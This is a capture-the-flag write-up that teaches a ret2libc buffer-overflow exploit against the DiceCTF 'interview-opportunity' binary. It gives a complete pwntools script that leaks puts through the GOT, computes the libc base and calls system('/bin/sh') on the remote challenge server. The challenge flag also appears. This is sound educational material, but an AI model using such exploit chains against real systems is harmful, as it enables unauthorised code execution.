Description:
Good luck on your interview...
nc mc.ax 31081Downloads interview-opportunity libc.so.6
This challenge gives us an ELF binary and a libc file. Right now we can already assume that this is a ret2libc challenge.
What's a ret2libc?
If you've ever followed a basic buffer overflow tutorial, you know that sometimes it's as easy as overflowing some shellcode onto the stack and jumping to it. In this challenge, there is some protection that marks the memory as non-executable, which means that shellcode won't execute here. If we can't directly execute injected code in memory, where do we go next?
We can go to a place in memory where we know code exists! It's libc, the C standard library!
Libc is linked to our program, lives in memory and has some useful
calls we could return to (ret2libc), such as system to
execute commands in the shell!
How 2 start
As always, we start by checking the protections on the binary.
$ checksec ./interview-opportunity
[*] ./interview-opportunity
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Unsurprisingly, NX is enabled, which means that the stack is not executable. This confirms that we can't just inject shellcode and expect it to execute.
Additionally, we can run the strings command to see if
there are any interesting strings, but that doesn't seem to be the
case.
The next thing I do is execute the binary.
$ chmod +x ./interview-opportunity
$ ./interview-opportunity
Thank you for you interest in applying to DiceGang.
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
asd
Hello:
asd
@
There's no way I'll pass this interview, but I'm just here for a shell.
Disassembling the binary
When inspecting the main function in Ghidra, it spits out this:

When the program asks for our input, it tries to read 0x46 bytes into a variable that can only hold 10. I smell a buffer overflow
The crash
What would happen if we send it a bunch of A's?
$ ./interview-opportunity
Thank you for you interest in applying to DiceGang.
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
AAAAAAAAA[...]
Hello:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
It results in a segfault! Buffer overflow it is
Building the script
Now that we are 100% sure it's a ret2libc, we can start writing our exploit script. For this I'm going to follow this handy guide on HackTricks.
There's a Python framework called pwntools that I'll be using, it's the go-to tool that has every feature you need for binary exploitation.
Step 0: Finding the overflow offset
First we need to find the offset. In other words: how many A's do we have to enter until we control where the program goes next?
This is incredibly easy to do with pwntools:
from pwn import *
def find_offset():
p = process('./interview-opportunity')
payload = cyclic(500) # "aaaabaaacaaa..."
p.sendline(payload)
p.wait() # wait for crash
crash_pattern = p.corefile.read(p.corefile.sp, 4) # "aaja"
offset = cyclic_find(crash_pattern)
return offset
offset = find_offset()
print(offset) # 34We generate a "cyclic" pattern ("aaaabaaacaaa...") of size 500, then we send it to the program and see which part of the pattern caused the crash. The offset is the number of characters before that crash pattern.
In this case, the program crashed at "aaja". If we search for it in our pattern, we see that it's at offset 34. Great, at 34 characters we start overflowing the instruction pointer.
Moving on to the fun part!
Return Oriented Programming
When we return to somewhere in libc, we use a technique called Return Oriented Programming (ROP). It's the idea of chaining together the instructions we need (so called "gadgets") in order to achieve what we want.
Step 1: Finding gadgets
In the guide from earlier, we see that these gadgets were used:
PUTS_PLT
MAIN_PLT
POP_RDI
RET
- PUTS: if we call puts, we can make the program
write something on the screen. When something like
puts(puts)gets called, it essentially leaks the address of the puts function. We will need this later :) - MAIN: if we call main, we will execute the program again, this way we can have another overflow later.
- POP_RDI:
rdiis where the first parameter (for a function like puts or system) will go. Callingpop rdi; retallows us to set the parameter of a function. - RET: this is a
retinstruction, we sometimes need this to fix alignment issues. At least that's what I use it for.
I'll add these to the script:
elf = ELF('./interview-opportunity')
rop = ROP(elf)
PUTS_PLT = elf.symbols['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]Sanity check - returning to main
Let's check if we can call the program again by just returning to main like this:
p = process('./interview-opportunity')
p.recvuntil(b"?")
ropchain = b'A' * offset + p64(RET) + p64(MAIN_PLT)
p.sendline(ropchain)
p.interactive()$ python3 exploit.py
Hello:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a@
Thank you for you interest in applying to DiceGang.
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
$ aa
Hello:
aa
As you see, we called main, which started the program again, and we were able to provide input again.
Now we need to craft a more useful ropchain that contains some libc gadgets.
Using puts to leak an address
Earlier I mentioned that we will call puts and leak its address, that is because we will need this for two things:
- If we have the address of a function inside libc, we can determine the libc version using an online tool. Since the challenge already gave us the libc version, we can skip this part.
- If we subtract the libc puts address from the puts address at runtime, we get the libc base address. We then calculate where the useful functions are compared to this base address.
The first ropchain - leaking the address of puts
Let's craft the chain of instructions to use puts to
leak the address of puts in libc.
First we need to upgrade our ropchain. We know that we want to do
something like puts(puts), so let's see how we can chain
the gadgets we found to achieve this.
PUTS_GOT = elf.got['puts']
PUTS_PLT = elf.symbols['puts']
p = process('./interview-opportunity')
p.recvuntil(b"?")
# upgraded ropchain
# param = PUTS_GOT & function = PUTS_PLT -> PUTS_GOT gets leaked
ropchain = b'A' * offset + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
p.sendline(ropchain)
p.interactive()We overflow the buffer, call POP_RDI so we can add a
parameter, our parameter will be the puts function in the Global Offset
Table (GOT), and the function we're calling will be puts from the
Procedure Linkage Table (PLT).
After that, we call main again to start the program again, just like last time.
GOT vs PLT
To call the puts function, we take it from the PLT, because this has the address we need to jump to. Remember when we jumped to main again? We used the PLT for that, and it contains every function that the binary uses.
The Global Offset Table stores the function address located in libc, and this is what gets leaked with our upgraded ropchain. With this leaked address, we are able to calculate the libc base address.
Step 2: Finding the libc base address
Let's run our exploit with this new ropchain and see what we get
$ python3 exploit.py
Hello:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13@
\xa0\x95\xc7
Thank you for you interest in applying to DiceGang.
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
We leaked the address of puts in libc! Now we have everything we need to calculate the base address. Let's calculate it and see if our output looks good.
p.recvline() # \n
p.recvline() # 'Hello: '
p.recvline() # our input
leaked_puts = p.recvline()
log.info(f"Leaked {leaked_puts}")
puts = u64(leaked_puts.rstrip().ljust(8, b"\x00")) # unpacked 64 bit format
log.info(f"Address of puts: {hex(puts)}")
libc = ELF("./libc.so.6") # libc from challenge
libc.address = puts - libc.symbols['puts']
log.info(f"Libc base address: {hex(libc.address)}")$ python exploit.py
[*] Leaked b'\xa0\x05\x92\x98\x9f\x7f\n'
[*] Address of puts: 0x7f9f989205a0
[*] Libc base address: 0x7f9f988a9fb0
The base address isn't correct, as it must end in 000.
This is because I'm not using the same libc version. If I run the
exploit against the server, we do get the correct base address.
# p = process('./interview-opportunity')
p = remote("mc.ax", 31081)
...
libc.address = puts - libc.symbols['puts']
log.info(f"Libc base address: {hex(libc.address)}")$ python exploit.py
[*] Leaked b'\xf0E3mq\x7f\n'
[*] Address of puts: 0x7f716d3345f0
[*] Libc base address: 0x7f716d2be000
Step 3: The exploit
Now that we have the base address, we can look for useful gadgets for
our second ropchain, which will get us a shell. Instead of calling puts
this time, we'll call system('/bin/bash')
The next ropchain will look very similar.
BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']
ropchain2 = b'A' * offset + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM) + p64(EXIT)
p.sendline(ropchain2)
p.interactive()We use POP_RDI again to set the parameter, this time to
/bin/sh , and then call SYSTEM with it.
Finally, we have an EXIT call so that our process exits
nicely.
Now send it to the server to receive a shell!
Final script
from pwn import *
# ------------------------------------
# Step 0: Finding the overflow offset
# ------------------------------------
def find_offset():
p = process('./interview-opportunity')
payload = cyclic(500)
p.sendline(payload)
p.wait() # wait for crash
crash_pattern = p.corefile.read(p.corefile.sp, 4)
print(crash_pattern)
offset = cyclic_find(crash_pattern)
return offset
offset = 34
#-------------------------
# Step 1: Finding gadgets
#-------------------------
elf = ELF("./interview-opportunity")
rop = ROP(elf)
PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = (rop.find_gadget(['ret']))[0]
# ---------------------------------------------
# Our first ropchain - leaking a libc address
# ---------------------------------------------
# p = process('./interview-opportunity')
p = remote("mc.ax", 31081)
p.recvuntil(b"?")
ropchain = b'A' * offset + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
p.sendline(ropchain)
p.recvline() # \n
p.recvline() # 'Hello: '
p.recvline() # our input
leaked_puts = p.recvline()
log.info(f"Leaked {leaked_puts}")
puts = u64(leaked_puts.rstrip().ljust(8, b"\x00")) # unpacked 64 bit format
log.info(f"Address of puts: {hex(puts)}")
libc = ELF("./libc.so.6") # libc from challenge
libc.address = puts - libc.symbols['puts']
log.info(f"Libc base address: {hex(libc.address)}")
# -----------------------------------------
# Second ropchain - calling /bin/sh shell
# -----------------------------------------
BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']
ropchain2 = b'A' * offset + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM) + p64(EXIT)
p.sendline(ropchain2)
p.interactive()[*] Address of puts: 0x7f82db8645f0
[*] Libc base address: 0x7f82db7ee000
[*] Switching to interactive mode
Thank you for you interest in applying to DiceGang.
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
Hello:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13@
$ cat flag.txt
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}
We win!
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}
Thanks for reading!